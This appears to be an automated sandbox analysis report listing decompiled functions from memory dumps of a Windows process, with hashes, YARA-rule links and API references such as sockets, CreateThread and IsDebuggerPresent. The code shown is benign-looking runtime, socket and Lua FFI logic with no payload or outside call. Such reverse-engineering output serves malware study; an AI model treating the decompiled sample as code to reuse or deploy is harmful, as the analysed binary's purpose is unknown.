Instruction ID: 7d17f3ccb6be49f016fbf75a5b9104446d4abd8d85c2d8033235e6eb239dc439
Opcode Fuzzy Hash: d03af9d1ae75d77d7212938322fd9a1b41951e3d2c98b886ffaf4f5f32a9ba62
Instruction Fuzzy Hash: A2C01274D0020097FE0097689D58A473668BB44206FC18460F549C6101D339E5648621

Uniqueness

Uniqueness Score: -1.00%

Function 005E4130, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E005E4130(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				void* __esi;
				signed int _t22;
				void* _t26;
				intOrPtr _t29;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t46;
				intOrPtr _t49;
				intOrPtr* _t50;
				signed int _t51;
				intOrPtr _t52;
				void* _t61;

				_t61 = __fp0;
				_t49 = __edi;
				_t46 = __edx;
				_t38 = __ebx;
				_t22 =  *0x5e70f8; // 0xe7a5420d
				_v8 = _t22 ^ _t51;
				_t39 = _a12;
				_t50 = _a4;
				_v20 = _t50;
				_v12 = _a16;
				if(_t39 == 0) {
					_t35 =  *((intOrPtr*)(_t50 + 0xc));
					if( *((short*)( *((intOrPtr*)(_t50 + 0xc)) + 6)) == 0xd) {
						E005E4670( *_t35);
						_t39 = _t52;
					}
				}
				_t26 =  *_t50 - 1;
				_v16 = _t39;
				if(_t26 == 0) {
					_t47 =  *((intOrPtr*)(_t50 + 0x10));
					_t29 = E005E44B0( *((intOrPtr*)(_t50 + 0x10)), _t61, E005E4000,  &_v20,  *((intOrPtr*)(_t50 + 0x10)),  *((intOrPtr*)(_t50 + 0x14)), _t39, _a8);
					goto L8;
				} else {
					_t31 = _t26 == 1;
					if(_t26 == 1) {
						_t47 =  &_v20;
						_t29 = E005E4530( &_v20, _t61, E005E4000,  &_v20,  *((intOrPtr*)(_t50 + 0x10)),  *((intOrPtr*)(_t50 + 0x14)), _t39, _a8); // executed
						L8:
						return E005E45A4(_t29, _t38, _v8 ^ _t51, _t47, _t49, _t50);
					} else {
						return E005E45A4(_t31 | 0xffffffff, _t38, _v8 ^ _t51, _t46, _t49, _t50);
					}
				}
			}

0x005e4130
0x005e4130
0x005e4130
0x005e4130
0x005e4136
0x005e413d
0x005e4140
0x005e4149
0x005e414c
0x005e414f
0x005e4152
0x005e4154
0x005e415c
0x005e4160
0x005e4165
0x005e4165
0x005e415c
0x005e4169
0x005e416c
0x005e416f
0x005e41ab
0x005e41be
0x00000000
0x005e4171
0x005e4171
0x005e4174
0x005e4198
0x005e41a1
0x005e41c3
0x005e41d7
0x005e4176
0x005e418a
0x005e418a
0x005e4174

APIs

__alloca_probe_16.LIBCMT ref: 005E4160

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: __alloca_probe_16
String ID:
API String ID: 1700504859-0
Opcode ID: d28bfe7895700456e94eedfa0210193b76a202c0921b6c25733e43c5d95f4d19
Instruction ID: 937163664d93fb620a19092ee301d201c08cab6314d7a1a08fae52dd56a5b6a2
Opcode Fuzzy Hash: d28bfe7895700456e94eedfa0210193b76a202c0921b6c25733e43c5d95f4d19
Instruction Fuzzy Hash: FA211D71A10249AF8B18DF99E9458BAB7F9FF88710B00464EF86697640D770AE14CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 005E4530, Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(?,?,?,?,?,?), ref: 005E4547

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a56498a0fc00db268cc4ca3ba56001d16f6723e786e9ecfbfb4e97c053602a31
Instruction ID: 2c1268efe10dfd758999cb55684105be1c08f968ef96379a3c916faa971211fb
Opcode Fuzzy Hash: a56498a0fc00db268cc4ca3ba56001d16f6723e786e9ecfbfb4e97c053602a31
Instruction Fuzzy Hash: 2C015770A00149CB8F29CF1AD49147E3F65FF9A769F60049BEA9647640DA329C65CFC2

Uniqueness

Uniqueness Score: -1.00%

Function 1000FF30, Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de54bbb90ab78c8e55105ab457e6d8560ead02b127befd035c30462d06efedc7
Instruction ID: 2d3a3d9fe104f74d3818c964718e5ee43ea6ffac2327e221b31309972910aa48
Opcode Fuzzy Hash: de54bbb90ab78c8e55105ab457e6d8560ead02b127befd035c30462d06efedc7
Instruction Fuzzy Hash: 1CF08C307002109FE301CB24CC84B9A7BE2EF85344F45C598F5498B6E1C779A882CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00594210, Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(?,?,?), ref: 0059421F

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: c901998a888236527b987f901f186757655a8a33fb5653188bd5e5984509135c
Instruction ID: d926dc4cf03e3aaed7dc17b17ef745d4ae8799318154d41d6edd838b31de41ed
Opcode Fuzzy Hash: c901998a888236527b987f901f186757655a8a33fb5653188bd5e5984509135c
Instruction Fuzzy Hash: 34D017B4108201EF8A00CF20C890C2B77A6FBC4710F108E58F46482290D730DC069F21

Uniqueness

Uniqueness Score: -1.00%

Function 10016220, Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,00000000,100161D3,?,?), ref: 10016226

Part of subcall function 10016250: GetLastError.KERNEL32(00000000), ref: 10016257
Part of subcall function 10016250: FormatMessageA.KERNEL32(00001200,00000000,00000000,00000000,?,00000080,00000000), ref: 10016275
Part of subcall function 10016250: lua_pushstring.LUA5.1(?,?), ref: 1001628C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFormatLastLibraryLoadMessagelua_pushstring.
String ID:
API String ID: 1215009581-0
Opcode ID: 57bade8ad037d40cf2c42a6c848cb89017062f08cbe0b3c53fe425362482aefa
Instruction ID: 78dd9c13bc6241ba384ff8529d6eab9b4ec78fa08307d183acae3083e553a454
Opcode Fuzzy Hash: 57bade8ad037d40cf2c42a6c848cb89017062f08cbe0b3c53fe425362482aefa
Instruction Fuzzy Hash: B1C012BAA0473267C622D7A8FC5498B7A94EB8C2E0B024514F9499B310DA34DC80C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 005941B0, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E005941B0(intOrPtr* _a4) {
				void* _t2;
				intOrPtr _t4;
				intOrPtr* _t5;

				_t5 = _a4;
				if( *_t5 != 0xffffffff) {
					E00594630(_t5);
					_t4 =  *_t5;
					_push(_t4); // executed
					L00594A5E(); // executed
					 *_t5 = 0xffffffff;
					return _t4;
				}
				return _t2;
			}

0x005941b1
0x005941b8
0x005941bb
0x005941c0
0x005941c5
0x005941c6
0x005941cb
0x00000000
0x005941cb
0x005941d2

APIs

Part of subcall function 00594630: ioctlsocket.WSOCK32(?,8004667E,00000002), ref: 0059464A

closesocket.WSOCK32(00000000), ref: 005941C6

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: closesocketioctlsocket
String ID:
API String ID: 2526268228-0
Opcode ID: 4aac4fedb2a6a86fb7685f7399a00253db9fdd49b268d8b1aad2173850e90f11
Instruction ID: 0ac45ff31ce5df67fd6b4d3e12fbeda9f89618d58ebdb36ab3f2245e05b04a11
Opcode Fuzzy Hash: 4aac4fedb2a6a86fb7685f7399a00253db9fdd49b268d8b1aad2173850e90f11
Instruction Fuzzy Hash: D1D0C9B040452296C9206F2CA84584A7A98AE423347240B18E4F8576D4D7305D978A91

Uniqueness

Uniqueness Score: -1.00%

Function 00594630, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00594630(intOrPtr* _a4) {
				intOrPtr _v4;
				void* _t3;
				void* _t6;

				_t3 = _t6;
				_push(_t3);
				_push(0x8004667e);
				_v4 = 0;
				_push( *_a4); // executed
				L00594AA6(); // executed
				return _t3;
			}

0x00594635
0x00594639
0x0059463a
0x00594641
0x00594649
0x0059464a
0x00594650

APIs

ioctlsocket.WSOCK32(?,8004667E,00000002), ref: 0059464A

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 714e6c2cc0c7f08bf0a4802a16e0e180e9eaacf29be5373def8b468b127294bf
Instruction ID: dc9affc73cdeaec871696398b2382ca46805b6f2e0ff251156a150d704e13aa4
Opcode Fuzzy Hash: 714e6c2cc0c7f08bf0a4802a16e0e180e9eaacf29be5373def8b468b127294bf
Instruction Fuzzy Hash: 9FC012B4108202AFC614CB10C880E2BBBAAABC4348F20880CF18946270CA30A8598B1A

Uniqueness

Uniqueness Score: -1.00%

Function 005946C0, Relevance: 1.5, APIs: 1, Instructions: 10
networkCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E005946C0(intOrPtr* _a4) {
				intOrPtr* _t3;

				_t3 = _a4;
				_push(_t3); // executed
				L00594AB2(); // executed
				 *_a4 = _t3;
				if(_t3 == 0) {
					return __imp__#111();
				}
				return 0;
			}

0x005946c0
0x005946c4
0x005946c5
0x005946d0
0x005946d2
0x00594a52
0x00594a52
0x005946d6

APIs

gethostbyname.WSOCK32(?), ref: 005946C5

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: gethostbyname
String ID:
API String ID: 930432418-0
Opcode ID: 09b349199599ee7df518aaae925b2f974e09c1e5de50d459b7a7baf72a3a857a
Instruction ID: b6f06cbacfed9785b4b9cc821d4b51aca39667c0b3121e62d194e1b9e5336afd
Opcode Fuzzy Hash: 09b349199599ee7df518aaae925b2f974e09c1e5de50d459b7a7baf72a3a857a
Instruction Fuzzy Hash: 5DC04CB1245241AB8F509A74C954D1A7BE97B85741B144C687249C6150EA31DC42AF15

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 005E45A4, Relevance: 10.6, APIs: 7, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E005E45A4(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t32;

				_t25 = __esi;
				_t24 = __edi;
				_t23 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t32 = _t20 -  *0x5e70f8; // 0xe7a5420d
				if(_t32 == 0) {
					asm("repe ret");
				}
				 *0x5e7218 = _t6;
				 *0x5e7214 = _t20;
				 *0x5e7210 = _t23;
				 *0x5e720c = _t19;
				 *0x5e7208 = _t25;
				 *0x5e7204 = _t24;
				 *0x5e7230 = ss;
				 *0x5e7224 = cs;
				 *0x5e7200 = ds;
				 *0x5e71fc = es;
				 *0x5e71f8 = fs;
				 *0x5e71f4 = gs;
				asm("pushfd");
				_pop( *0x5e7228);
				 *0x5e721c =  *_t29;
				 *0x5e7220 = _v0;
				 *0x5e722c =  &_a4;
				 *0x5e7168 = 0x10001;
				_t11 =  *0x5e7220; // 0x0
				 *0x5e711c = _t11;
				 *0x5e7110 = 0xc0000409;
				 *0x5e7114 = 1;
				_t12 =  *0x5e70f8; // 0xe7a5420d
				_v812 = _t12;
				_t13 =  *0x5e70fc; // 0x185abdf2
				_v808 = _t13;
				 *0x5e7160 = IsDebuggerPresent();
				_push(1);
				L005E4EE8();
				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(0x5e5b08);
				if( *0x5e7160 == 0) {
					_push(1);
					L005E4EE8();
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x005e45a4
0x005e45a4
0x005e45a4
0x005e45a4
0x005e45a4
0x005e45a4
0x005e45a4
0x005e45aa
0x005e45ac
0x005e45ac
0x005e49fe
0x005e4a03
0x005e4a09
0x005e4a0f
0x005e4a15
0x005e4a1b
0x005e4a21
0x005e4a28
0x005e4a2f
0x005e4a36
0x005e4a3d
0x005e4a44
0x005e4a4b
0x005e4a4c
0x005e4a55
0x005e4a5d
0x005e4a65
0x005e4a70
0x005e4a7a
0x005e4a7f
0x005e4a84
0x005e4a8e
0x005e4a98
0x005e4a9d
0x005e4aa3
0x005e4aa8
0x005e4ab4
0x005e4ab9
0x005e4abb
0x005e4ac3
0x005e4ace
0x005e4adb
0x005e4add
0x005e4adf
0x005e4ae4
0x005e4af8

APIs

IsDebuggerPresent.KERNEL32 ref: 005E4AAE
_crt_debugger_hook.MSVCR80(00000001), ref: 005E4ABB
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 005E4AC3
UnhandledExceptionFilter.KERNEL32(005E5B08), ref: 005E4ACE
_crt_debugger_hook.MSVCR80(00000001), ref: 005E4ADF
GetCurrentProcess.KERNEL32(C0000409), ref: 005E4AEA
TerminateProcess.KERNEL32(00000000), ref: 005E4AF1

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled_crt_debugger_hook$CurrentDebuggerPresentTerminate
String ID:
API String ID: 3369434319-0
Opcode ID: 13e19db29aa6d22f48c102c5789df0af0be0fcad13f1b19add53f286e088a5a2
Instruction ID: f7fbb191cba9a3d90a7f2eaed7db7454d07fd6af4a34699a8279e2b838977941
Opcode Fuzzy Hash: 13e19db29aa6d22f48c102c5789df0af0be0fcad13f1b19add53f286e088a5a2
Instruction Fuzzy Hash: CD21F3B8808399DBC31CDF55FCC96443BA4BB2C314F405459F6998F260E3B09689EF95

Uniqueness

Uniqueness Score: -1.00%

Function 005E1080, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40
windowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E005E1080(char __edi) {
				signed int _v4;
				char _v132;
				void* __esi;
				signed int _t6;
				intOrPtr _t13;
				intOrPtr _t19;
				long _t21;

				_t22 =  &_v132;
				_t6 =  *0x5e70f8; // 0xe7a5420d
				_v4 = _t6 ^  &_v132;
				_t21 = GetLastError();
				if(FormatMessageA(0x1200, 0, _t21, 0,  &_v132, 0x80, 0) == 0) {
					_push(_t21);
					_push("system error %d\n");
					L005E3EEA();
					return E005E45A4(_t10, _t13, _v4 ^  &(_t22[0xc]), _t19, __edi, _t21, __edi);
				} else {
					_push( &_v132);
					L005E3EF0();
					return E005E45A4(_t10, _t13, _v4 ^  &(_t22[8]), _t19, __edi, _t21, __edi);
				}
			}

0x005e1080
0x005e1086
0x005e108d
0x005e10a2
0x005e10bb
0x005e10e1
0x005e10e2
0x005e10e8
0x005e1105
0x005e10bd
0x005e10c1
0x005e10c3
0x005e10e0
0x005e10e0

APIs

GetLastError.KERNEL32(00000000), ref: 005E1095
FormatMessageA.KERNEL32(00001200,00000000,00000000,00000000,?,00000080,00000000), ref: 005E10B3
lua_pushstring.LUA5.1(?,?), ref: 005E10C3
lua_pushfstring.LUA5.1(?,system error %d,00000000), ref: 005E10E8

Strings

system error %d, xrefs: 005E10E2

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFormatLastMessagelua_pushfstring.lua_pushstring.
String ID: system error %d
API String ID: 1488786958-1688351658
Opcode ID: 2c6a2c61b599101ecaf6d5f90326011824d7a3213cbb42534a2c1732fa2c2f3e
Instruction ID: 435e7f7d8f2914bdac317ba47f88ed345cdf3d5d65b8ff1ae698863fb130a283
Opcode Fuzzy Hash: 2c6a2c61b599101ecaf6d5f90326011824d7a3213cbb42534a2c1732fa2c2f3e
Instruction Fuzzy Hash: ECF0C2316002816BE328A7229C5BFBF3B98BF88750F804019F6C98A1C1EE75551897D7

Uniqueness

Uniqueness Score: -1.00%

Function 00402403, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402403() {

				SetUnhandledExceptionFilter(E004023C6);
				return 0;
			}

0x00402408
0x00402410

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000023C6), ref: 00402408

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8a6f111c12c60c1f4ccb9f048a89fcac1ef79f947685ad4e7fc46fb9e148ee6c
Instruction ID: 55b01f16997e6df97f95089a92c059a30194a49be1b8f15504aa6d91282e94f9
Opcode Fuzzy Hash: 8a6f111c12c60c1f4ccb9f048a89fcac1ef79f947685ad4e7fc46fb9e148ee6c
Instruction Fuzzy Hash: 4E9002A027250096C6102F705E0E60529986AC862376154716405E40D8DBB84654AA69

Uniqueness

Uniqueness Score: -1.00%

Function 005E1B60, Relevance: 75.5, APIs: 31, Strings: 12, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E005E1B60(intOrPtr _a4) {
				intOrPtr _v4;
				void* __ebx;
				void* __esi;
				void* _t62;
				signed int _t63;
				void* _t64;
				void* _t67;
				signed int _t71;
				void* _t72;
				signed int _t75;
				signed int _t98;
				intOrPtr _t99;
				void* _t100;
				signed int _t101;
				void* _t102;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t106;
				void* _t107;
				void* _t108;
				void* _t109;
				void* _t110;
				void* _t117;

				_t99 = _a4;
				_t63 = E005E1110(_t62, 1, _t99, "alien_function");
				_t100 = 0;
				_t103 = _t102 + 4;
				if(_t63 == 0) {
					_t63 = E005E1110(_t63, 1, _t99, "alien_callback");
					_t104 = _t103 + 4;
					if(_t63 == 0) {
						_push("alien function or callback expected");
						_push(1);
						_push(_t99);
						L005E3F14();
						_t104 = _t104 + 0xc;
						_t98 = 0;
					} else {
						_t63 =  *_t63;
						_t98 =  *(_t63 + 0x18);
					}
				} else {
					_t98 = _t63;
				}
				_push(2);
				_push(_t99);
				L005E3F4A();
				_t105 = _t104 + 8;
				if(_t63 != 5) {
					_push("hR^");
					_push("int");
					_push(2);
					_push(_t99);
					L005E3F98();
					 *((intOrPtr*)(_t98 + 0xc)) =  *((intOrPtr*)(0x5e5460 + _t63 * 4));
					_t106 = _t105 + 0x10;
					 *((intOrPtr*)(_t98 + 0x28)) =  *((intOrPtr*)(0x5e7000 + _t63 * 4));
					_v4 = 1;
				} else {
					_push("ret");
					_push(2);
					_push(_t99);
					L005E3F02();
					_push("hR^");
					_push("int");
					_push(0xffffffff);
					_push(_t99);
					L005E3F98();
					_push("abi");
					 *((intOrPtr*)(_t98 + 0xc)) =  *((intOrPtr*)(0x5e5460 + _t63 * 4));
					_push(2);
					_push(_t99);
					 *((intOrPtr*)(_t98 + 0x28)) =  *((intOrPtr*)(0x5e7000 + _t63 * 4));
					L005E3F02();
					_push(0x5e532c);
					_push("default");
					_push(0xffffffff);
					_push(_t99);
					L005E3F98();
					_push(0xfffffffd);
					_push(_t99);
					_v4 =  *((intOrPtr*)(0x5e5320 + _t63 * 4));
					L005E3EF6();
					_t106 = _t105 + 0x40;
				}
				_t64 =  *(_t98 + 0x30);
				if(_t64 != _t100) {
					free(_t64);
					_t64 =  *(_t98 + 0x34);
					free(_t64);
					_t106 = _t106 + 8;
					 *(_t98 + 0x30) = _t100;
					 *(_t98 + 0x34) = _t100;
				}
				_push(2);
				_push(_t99);
				L005E3F4A();
				_t107 = _t106 + 8;
				if(_t64 != 5) {
					_push(_t99);
					L005E3F38();
					_t108 = _t107 + 4;
					_t64 = _t64 - 2;
				} else {
					_push(2);
					_push(_t99);
					L005E3F9E();
					_t108 = _t107 + 8;
				}
				 *(_t98 + 0x2c) = _t64;
				if(_t64 <= _t100) {
					 *(_t98 + 0x34) = _t100;
					 *(_t98 + 0x30) = _t100;
				} else {
					_t72 = malloc(_t64 * 4);
					_t117 = _t108 + 4;
					 *(_t98 + 0x34) = _t72;
					if(_t72 == _t100) {
						_push("alien: out of memory");
						_push(_t99);
						L005E3F26();
						_t117 = _t117 + 8;
					}
					_t64 = malloc( *(_t98 + 0x2c) +  *(_t98 + 0x2c) +  *(_t98 + 0x2c) +  *(_t98 + 0x2c));
					_t108 = _t117 + 4;
					 *(_t98 + 0x30) = _t64;
					if(_t64 == _t100) {
						_push("alien: out of memory");
						_push(_t99);
						L005E3F26();
						_t108 = _t108 + 8;
					}
				}
				_push(2);
				_push(_t99);
				L005E3F4A();
				_t109 = _t108 + 8;
				_t75 = 0;
				if(_t64 != 5) {
					if( *(_t98 + 0x2c) > _t100) {
						do {
							_push("hR^");
							_push("int");
							_t44 = _t75 + 3; // 0x3
							_t71 = _t44;
							_push(_t71);
							_push(_t99);
							L005E3F98();
							 *((intOrPtr*)( *(_t98 + 0x34) + _t75 * 4)) =  *((intOrPtr*)(0x5e7000 + _t71 * 4));
							 *((intOrPtr*)( *(_t98 + 0x30) + _t75 * 4)) =  *((intOrPtr*)(0x5e5460 + _t71 * 4));
							_t75 = _t75 + 1;
							_t109 = _t109 + 0x10;
						} while (_t75 <  *(_t98 + 0x2c));
					}
				} else {
					if( *(_t98 + 0x2c) > _t100) {
						do {
							_t31 = _t75 + 1; // 0x1
							_t101 = _t31;
							_push(_t101);
							_push(2);
							_push(_t99);
							L005E3F86();
							_push("hR^");
							_push("int");
							_push(0xffffffff);
							_push(_t99);
							L005E3F98();
							_push("hR^");
							_push("int");
							_push(0xffffffff);
							_push(_t99);
							 *((intOrPtr*)( *(_t98 + 0x34) + _t75 * 4)) =  *((intOrPtr*)(0x5e7000 + _t64 * 4));
							L005E3F98();
							_push(0xfffffffe);
							_push(_t99);
							 *((intOrPtr*)( *(_t98 + 0x30) + _t75 * 4)) =  *((intOrPtr*)(0x5e5460 + _t64 * 4));
							L005E3EF6();
							_t75 = _t101;
							_t109 = _t109 + 0x34;
						} while (_t75 <  *(_t98 + 0x2c));
						_t100 = 0;
					}
				}
				_t60 = _t98 + 0x10; // 0x10
				_t76 = _t60;
				_t67 = E005E4400(_t60, _v4,  *(_t98 + 0x2c),  *((intOrPtr*)(_t98 + 0x28)),  *(_t98 + 0x34));
				_t110 = _t109 + 0x14;
				if(_t67 != 0) {
					_push("alien: error in libffi preparation");
					_push(_t99);
					L005E3F26();
					_t110 = _t110 + 8;
				}
				_push(1);
				_push(_t99);
				L005E3F0E();
				if(_t67 == _t100) {
					L34:
					return 0;
				} else {
					_push(1);
					_push(_t99);
					L005E3F08();
					if(_t67 == 0) {
						goto L34;
					} else {
						_push("alien_callback");
						_push(0xffffd8f0);
						_push(_t99);
						L005E3F02();
						_push(0xfffffffe);
						_push(0xffffffff);
						_push(_t99);
						L005E3EFC();
						_push(0xfffffffd);
						_push(_t99);
						if(_t67 != 0) {
							L005E3EF6();
							if(E005E4310( *((intOrPtr*)(_t98 + 4)), _t76, E005E14C0, _t98) != 0) {
								_push("alien: cannot create callback");
								_push(_t99);
								L005E3F26();
							}
							goto L34;
						} else {
							L005E3EF6();
							return 0;
						}
					}
				}
			}

0x005e1b64
0x005e1b73
0x005e1b78
0x005e1b7a
0x005e1b7f
0x005e1b8a
0x005e1b8f
0x005e1b94
0x005e1b9d
0x005e1ba2
0x005e1ba4
0x005e1ba5
0x005e1baa
0x005e1bad
0x005e1b96
0x005e1b96
0x005e1b98
0x005e1b98
0x005e1b81
0x005e1b81
0x005e1b81
0x005e1baf
0x005e1bb1
0x005e1bb2
0x005e1bb7
0x005e1bbd
0x005e1c29
0x005e1c2e
0x005e1c33
0x005e1c35
0x005e1c36
0x005e1c42
0x005e1c4c
0x005e1c4f
0x005e1c52
0x005e1bbf
0x005e1bbf
0x005e1bc4
0x005e1bc6
0x005e1bc7
0x005e1bcc
0x005e1bd1
0x005e1bd6
0x005e1bd8
0x005e1bd9
0x005e1be5
0x005e1bea
0x005e1bf4
0x005e1bf6
0x005e1bf7
0x005e1bfa
0x005e1bff
0x005e1c04
0x005e1c09
0x005e1c0b
0x005e1c0c
0x005e1c18
0x005e1c1a
0x005e1c1b
0x005e1c1f
0x005e1c24
0x005e1c24
0x005e1c5a
0x005e1c5f
0x005e1c68
0x005e1c6a
0x005e1c6e
0x005e1c70
0x005e1c73
0x005e1c76
0x005e1c76
0x005e1c79
0x005e1c7b
0x005e1c7c
0x005e1c81
0x005e1c87
0x005e1c96
0x005e1c97
0x005e1c9c
0x005e1c9f
0x005e1c89
0x005e1c89
0x005e1c8b
0x005e1c8c
0x005e1c91
0x005e1c91
0x005e1ca4
0x005e1ca7
0x005e1cf5
0x005e1cf8
0x005e1ca9
0x005e1cb7
0x005e1cb9
0x005e1cbe
0x005e1cc1
0x005e1cc3
0x005e1cc8
0x005e1cc9
0x005e1cce
0x005e1cce
0x005e1cd9
0x005e1cdb
0x005e1ce0
0x005e1ce3
0x005e1ce5
0x005e1cea
0x005e1ceb
0x005e1cf0
0x005e1cf0
0x005e1ce3
0x005e1cfb
0x005e1cfd
